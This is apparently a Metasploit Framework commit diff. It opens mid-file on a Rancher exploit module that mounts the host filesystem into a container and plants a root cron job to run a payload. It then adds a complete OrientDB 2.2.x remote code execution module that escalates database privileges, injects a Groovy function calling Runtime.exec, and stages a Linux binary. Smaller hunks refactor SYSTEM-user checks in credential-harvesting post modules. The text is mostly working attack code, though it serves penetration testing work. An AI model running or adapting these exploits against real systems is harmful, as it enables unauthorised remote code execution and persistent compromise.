OptString.new('TARGETURI', [ true, 'Rancher API Path', '/v1/projects' ]),
OptInt.new('WAIT_TIMEOUT', [ true, 'Time in seconds to wait for the docker container to deploy', 60 ])
]
)
end
def del_container(rancher_container_id, container_id)
res = send_request_cgi(
'method' => 'DELETE',
'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', rancher_container_id),
'ctype' => 'application/json',
'headers' => { 'Accept' => 'application/json' }
)
return vprint_good('The docker container has been removed.') if res && res.code == 200
print_warning("Manual cleanup of container \"#{container_id}\" is needed on the target.")
end
def make_container_id
return datastore['CONTAINER_ID'] unless datastore['CONTAINER_ID'].nil?
rand_text_alpha_lower(8)
end
def make_cmd(mnt_path, cron_path, payload_path)
vprint_status('Creating the docker container command')
echo_cron_path = mnt_path + cron_path
echo_payload_path = mnt_path + payload_path
command = "echo #{Rex::Text.encode_base64(payload.encoded_exe)} | base64 -d > #{echo_payload_path} \&\& chmod +x #{echo_payload_path} \&\& "
command << "echo \"PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin\" >> #{echo_cron_path} \&\& "
command << "echo \"\" >> #{echo_cron_path} \&\& "
command << "echo \"* * * * * root #{payload_path}\" >> #{echo_cron_path}"
command
end
def make_container(mnt_path, cron_path, payload_path, container_id)
vprint_status('Setting container json request variables')
{
'instanceTriggeredStop' => 'stop',
'startOnCreate' => true,
'networkMode' => 'managed',
'requestedHostId' => datastore['TARGETHOST'],
'type' => 'container',
'dataVolumes' => [ '/:' + mnt_path ],
'imageUuid' => 'docker:' + datastore['DOCKERIMAGE'],
'name' => container_id,
'command' => make_cmd(mnt_path, cron_path, payload_path),
'entryPoint' => %w[sh -c]
}
end
def check
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'ctype' => 'application/json',
'headers' => { 'Accept' => 'application/json' }
)
if res.nil?
print_error('Failed to connect to the target')
return Exploit::CheckCode::Unknown
end
if res.code == 401 && res.headers.to_json.include?('X-Rancher-Version')
print_error('Authorization is required. Provide valid Rancher API Keys.')
return Exploit::CheckCode::Detected
end
if res.code == 200 && res.headers.to_json.include?('X-Rancher-Version')
target_found = false
target_selected = false
environments = JSON.parse(res.body)['data']
environments.each do |e|
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, e['id'], 'hosts'),
'ctype' => 'application/json',
'headers' => { 'Accept' => 'application/json' }
)
hosts = JSON.parse(res.body)['data']
hosts.each do |h|
target_found = true
result = "Rancher Host \"#{h['hostname']}\" (TARGETHOST #{h['id']}) on "
result << "Environment \"#{e['name']}\" (TARGETENV #{e['id']}) found"
# flag results when this host is targeted via options
if datastore['TARGETENV'] == e['id'] && datastore['TARGETHOST'] == h['id']
target_selected = true
vprint_good(result + ' %red<-- targeted%clr')
else
vprint_good(result)
end
end
end
if target_found
return Exploit::CheckCode::Vulnerable if target_selected
print_bad("Your TARGETENV \"#{datastore['TARGETENV']}\" or/and TARGETHOST \"#{datastore['TARGETHOST']}\" is not available")
if datastore['VERBOSE'] == false
print_bad('Try verbose mode to know what happened.')
end
vprint_bad('Choose a TARGETHOST and TARGETENV from the results above')
return Exploit::CheckCode::Appears
else
print_bad('No TARGETHOST available')
return Exploit::CheckCode::Detected
end
end
Exploit::CheckCode::Safe
end
def exploit
unless check == Exploit::CheckCode::Vulnerable
fail_with(Failure::Unknown, 'Failed to connect to the target')
end
# create required information to create json container information
cron_path = '/etc/cron.d/' + rand_text_alpha(8)
payload_path = '/tmp/' + rand_text_alpha(8)
mnt_path = '/mnt/' + rand_text_alpha(8)
container_id = make_container_id
# deploy docker container
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers'),
'ctype' => 'application/json',
'headers' => { 'Accept' => 'application/json' },
'data' => make_container(mnt_path, cron_path, payload_path, container_id).to_json
)
fail_with(Failure::Unknown, 'Failed to create the docker container') unless res && res.code == 201
print_good('The docker container is created, waiting for it to deploy')
# cleanup
register_files_for_cleanup(cron_path, payload_path)
rancher_container_id = JSON.parse(res.body)['id']
deleted_container = false
sleep_time = 5
wait_time = datastore['WAIT_TIMEOUT']
vprint_status("Waiting up to #{wait_time} seconds until the docker container stops")
while wait_time > 0
sleep(sleep_time)
wait_time -= sleep_time
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, datastore['TARGETENV'], 'containers', '?name=' + container_id),
'ctype' => 'application/json',
'headers' => { 'Accept' => 'application/json' }
)
next unless res && res.code == 200 && res.body.include?('stopped')
vprint_good('The docker container has stopped, now trying to remove it')
del_container(rancher_container_id, container_id)
deleted_container = true
wait_time = 0
end
# if container does not deploy, try to remove it and fail out
unless deleted_container
del_container(rancher_container_id, container_id)
fail_with(Failure::Unknown, "The docker container failed to start")
end
print_status('Waiting for the cron job to run, can take up to 60 seconds')
end
end

View File

@ -0,0 +1,257 @@
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
def initialize(info = {})
super(update_info(info,
'Name' => 'OrientDB 2.2.x Remote Code Execution',
'Description' => %q{
This module leverages a privilege escalation on OrientDB to execute unsandboxed OS commands.
All versions from 2.2.2 up to 2.2.22 should be vulnerable.
},
'Author' =>
[
'Francis Alexander - Beyond Security\'s SecuriTeam Secure Disclosure program', # Public PoC
'Ricardo Jorge Borges de Almeida ricardojba1[at]gmail.com', # Metasploit Module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://blogs.securiteam.com/index.php/archives/3318'],
['URL', 'http://www.palada.net/index.php/2017/07/13/news-2112/'],
['URL', 'https://github.com/orientechnologies/orientdb/wiki/OrientDB-2.2-Release-Notes#2223---july-11-2017']
],
'Platform' => %w{ linux unix win },
'Privileged' => false,
'Targets' =>
[
['Linux', {'Arch' => ARCH_X86, 'Platform' => 'linux' }],
['Unix CMD', {'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => {'BadChars' => "\x22"}}],
['Windows', {'Arch' => ARCH_X86, 'Platform' => 'win', 'CmdStagerFlavor' => ['vbs','certutil']}]
],
'DisclosureDate' => 'Jul 13 2017',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(2480),
OptString.new('USERNAME', [ true, 'HTTP Basic Auth User', 'writer' ]),
OptString.new('PASSWORD', [ true, 'HTTP Basic Auth Password', 'writer' ]),
OptString.new('TARGETURI', [ true, 'The path to the OrientDB application', '/' ])
])
end
def check
uri = target_uri
uri.path = normalize_uri(uri.path)
res = send_request_raw({'uri' => "#{uri.path}listDatabases"})
if res and res.code == 200 and res.headers['Server'] =~ /OrientDB Server v\.2\.2\./
print_good("Version: #{res.headers['Server']}")
return Exploit::CheckCode::Vulnerable
else
print_status("Version: #{res.headers['Server']}")
return Exploit::CheckCode::Safe
end
end
def http_send_command(cmd, opts = {})
# 1 -Create the malicious function
func_name = Rex::Text::rand_text_alpha(5).downcase
request_parameters = {
'method' => 'POST',
'uri' => normalize_uri(@uri.path, "/document/#{opts}/-1:-1"),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
'data' => "{\"@class\":\"ofunction\",\"@version\":0,\"@rid\":\"#-1:-1\",\"idempotent\":null,\"name\":\"#{func_name}\",\"language\":\"groovy\",\"code\":\"#{java_craft_runtime_exec(cmd)}\",\"parameters\":null}"
}
res = send_request_raw(request_parameters)
if not (res and res.code == 201)
begin
json_body = JSON.parse(res.body)
rescue JSON::ParserError
fail_with(Failure::Unknown, 'Failed to create the malicious function.')
return
end
end
# 2 - Trigger the malicious function
request_parameters = {
'method' => 'POST',
'uri' => normalize_uri(@uri.path, "/function/#{opts}/#{func_name}"),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' => { 'Accept' => '*/*', 'Content-Type' => 'application/json;charset=UTF-8' },
'data' => ""
}
req = send_request_raw(request_parameters)
if not (req and req.code == 200)
begin
json_body = JSON.parse(res.body)
rescue JSON::ParserError
fail_with(Failure::Unknown, 'Failed to trigger the malicious function.')
return
end
end
# 3 - Get the malicious function id
if res && res.body.length > 0
begin
json_body = JSON.parse(res.body)["@rid"]
rescue JSON::ParserError
fail_with(Failure::Unknown, 'Failed to obtain the malicious function id for deletion.')
return
end
end
func_id = json_body.slice(1..-1)
# 4 - Delete the malicious function
request_parameters = {
'method' => 'DELETE',
'uri' => normalize_uri(@uri.path, "/document/#{opts}/#{func_id}"),
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' => { 'Accept' => '*/*' },
'data' => ""
}
rer = send_request_raw(request_parameters)
if not (rer and rer.code == 204)
begin
json_body = JSON.parse(res.body)
rescue JSON::ParserError
fail_with(Failure::Unknown, 'Failed to delete the malicious function.')
return
end
end
end
def java_craft_runtime_exec(cmd)
decoder = Rex::Text.rand_text_alpha(5, 8)
decoded_bytes = Rex::Text.rand_text_alpha(5, 8)
cmd_array = Rex::Text.rand_text_alpha(5, 8)
jcode = "sun.misc.BASE64Decoder #{decoder} = new sun.misc.BASE64Decoder();\n"
jcode << "byte[] #{decoded_bytes} = #{decoder}.decodeBuffer(\"#{Rex::Text.encode_base64(cmd)}\");\n"
jcode << "String [] #{cmd_array} = new String[3];\n"
if target['Platform'] == 'win'
jcode << "#{cmd_array}[0] = \"cmd.exe\";\n"
jcode << "#{cmd_array}[1] = \"/c\";\n"
else
jcode << "#{cmd_array}[0] = \"/bin/sh\";\n"
jcode << "#{cmd_array}[1] = \"-c\";\n"
end
jcode << "#{cmd_array}[2] = new String(#{decoded_bytes}, \"UTF-8\");\n"
jcode << "Runtime.getRuntime().exec(#{cmd_array});\n"
jcode
end
def on_new_session(client)
if not @to_delete.nil?
print_warning("Deleting #{@to_delete} payload file")
execute_command("rm #{@to_delete}")
end
end
def execute_command(cmd, opts = {})
vprint_status("Attempting to execute: #{cmd}")
@uri = target_uri
@uri.path = normalize_uri(@uri.path)
res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
if res && res.code == 200 && res.body.length > 0
begin
json_body = JSON.parse(res.body)["databases"]
rescue JSON::ParserError
print_error("Unable to parse JSON")
return
end
else
print_error("Timeout or unexpected response...")
return
end
targetdb = json_body[0]
http_send_command(cmd,targetdb)
end
def linux_stager
cmds = "echo LINE | tee FILE"
exe = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
base64 = Rex::Text.encode_base64(exe)
base64.gsub!(/\=/, "\\u003d")
file = rand_text_alphanumeric(4+rand(4))
execute_command("touch /tmp/#{file}.b64")
cmds.gsub!(/FILE/, "/tmp/" + file + ".b64")
base64.each_line do |line|
line.chomp!
cmd = cmds
cmd.gsub!(/LINE/, line)
execute_command(cmds)
end
execute_command("base64 -d /tmp/#{file}.b64|tee /tmp/#{file}")
execute_command("chmod +x /tmp/#{file}")
execute_command("rm /tmp/#{file}.b64")
execute_command("/tmp/#{file}")
@to_delete = "/tmp/#{file}"
end
def exploit
@uri = target_uri
@uri.path = normalize_uri(@uri.path)
res = send_request_raw({'uri' => "#{@uri.path}listDatabases"})
if res && res.code == 200 && res.body.length > 0
begin
json_body = JSON.parse(res.body)["databases"]
rescue JSON::ParserError
print_error("Unable to parse JSON")
return
end
else
print_error("Timeout or unexpected response...")
return
end
targetdb = json_body[0]
privs_enable = ['create','read','update','execute','delete']
items = ['database.class.ouser','database.function','database.systemclusters']
# Set the required DB permissions
privs_enable.each do |priv|
items.each do |item|
request_parameters = {
'method' => 'POST',
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
'vars_get' => { 'format' => 'rid,type,version,class,graph' },
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' => { 'Accept' => '*/*' },
'data' => "GRANT #{priv} ON #{item} TO writer"
}
res = send_request_raw(request_parameters)
end
end
# Exploit
case target['Platform']
when 'win'
print_status("#{rhost}:#{rport} - Sending command stager...")
execute_cmdstager(flavor: :vbs)
when 'unix'
print_status("#{rhost}:#{rport} - Sending payload...")
res = http_send_command("#{payload.encoded}","#{targetdb}")
when 'linux'
print_status("#{rhost}:#{rport} - Sending Linux stager...")
linux_stager
end
handler
# Final Cleanup
privs_enable.each do |priv|
items.each do |item|
request_parameters = {
'method' => 'POST',
'uri' => normalize_uri(@uri.path, "/command/#{targetdb}/sql/-/20"),
'vars_get' => { 'format' => 'rid,type,version,class,graph' },
'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']),
'headers' => { 'Accept' => '*/*' },
'data' => "REVOKE #{priv} ON #{item} FROM writer"
}
res = send_request_raw(request_parameters)
end
end
end
end

View File

@ -80,7 +80,7 @@ class MetasploitModule < Msf::Exploit::Local
return
end
# Havent figured this one out yet, but we need a PID owned by a user, cant steal tokens either
if client.sys.config.getuid == 'NT AUTHORITY\SYSTEM'
if client.sys.config.is_system?
print_error("Cannot run as system")
return
end

View File

@ -151,7 +151,7 @@ class MetasploitModule < Msf::Post
rows.map! do |row|
res = Hash[*columns.zip(row).flatten]
if item[:encrypted_fields] && session.sys.config.getuid != "NT AUTHORITY\\SYSTEM"
if item[:encrypted_fields] && !session.sys.config.is_system?
item[:encrypted_fields].each do |field|
name = (res["name_on_card"] == nil) ? res["username_value"] : res["name_on_card"]

View File

@ -59,7 +59,7 @@ class MetasploitModule < Msf::Post
end
# Havent figured this one out yet, but we need a PID owned by a user, can't steal tokens either
if client.sys.config.getuid == 'NT AUTHORITY\SYSTEM'
if client.sys.config.is_system?
print_error "Cannot run as system"
return 0
end

View File

@ -66,7 +66,6 @@ end
def enum_users(os)
users = []
userinfo = {}
user = @client.sys.config.getuid
userpath = nil
useroffcpath = nil
sysdrv = @client.sys.config.getenv('SystemDrive')
@ -79,7 +78,7 @@ def enum_users(os)
lnkpath = "\\Recent\\"
officelnkpath = "\\Application Data\\Microsoft\\Office\\Recent\\"
end
if user == "NT AUTHORITY\\SYSTEM"
if @client.sys.config.is_system?
print_status("Running as SYSTEM extracting user list...")
@client.fs.dir.foreach(userpath) do |u|
next if u =~ /^(\.|\.\.|All Users|Default|Default User|Public|desktop.ini)$/

View File

@ -145,7 +145,7 @@ def process_files(username)
db.close
rows.map! do |row|
res = Hash[*columns.zip(row).flatten]
if item[:encrypted_fields] && client.sys.config.getuid != "NT AUTHORITY\\SYSTEM"
if item[:encrypted_fields] && !client.sys.config.is_system?
if @host_info['Architecture'] !~ /x64/
item[:encrypted_fields].each do |field|
print_good("decrypting field '#{field}'...")

View File

@ -228,7 +228,6 @@ end
def enum_users
os = @client.sys.config.sysinfo['OS']
users = []
user = @client.sys.config.getuid
path4users = ""
sysdrv = @client.sys.config.getenv('SystemDrive')
@ -240,7 +239,7 @@ def enum_users
profilepath = "\\Application Data\\VMware\\"
end
if user == "NT AUTHORITY\\SYSTEM"
if @client.sys.config.is_system?
print_status("Running as SYSTEM extracting user list..")
@client.fs.dir.foreach(path4users) do |u|
userinfo = {}

View File

@ -148,7 +148,7 @@ RSpec.describe Msf::Ui::Console::CommandDispatcher::Db do
expect(@output).to match_array [
"Usage: loot <options>",
" Info: loot [-h] [addr1 addr2 ...] [-t <type1,type2>]",
" Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] [-t [type]",
" Add: loot -f [fname] -i [info] -a [addr1 addr2 ...] -t [type]",
" Del: loot -d [addr1 addr2 ...]",
" -a,--add Add loot to the list of addresses, instead of listing",
" -d,--delete Delete *all* loot matching host and type",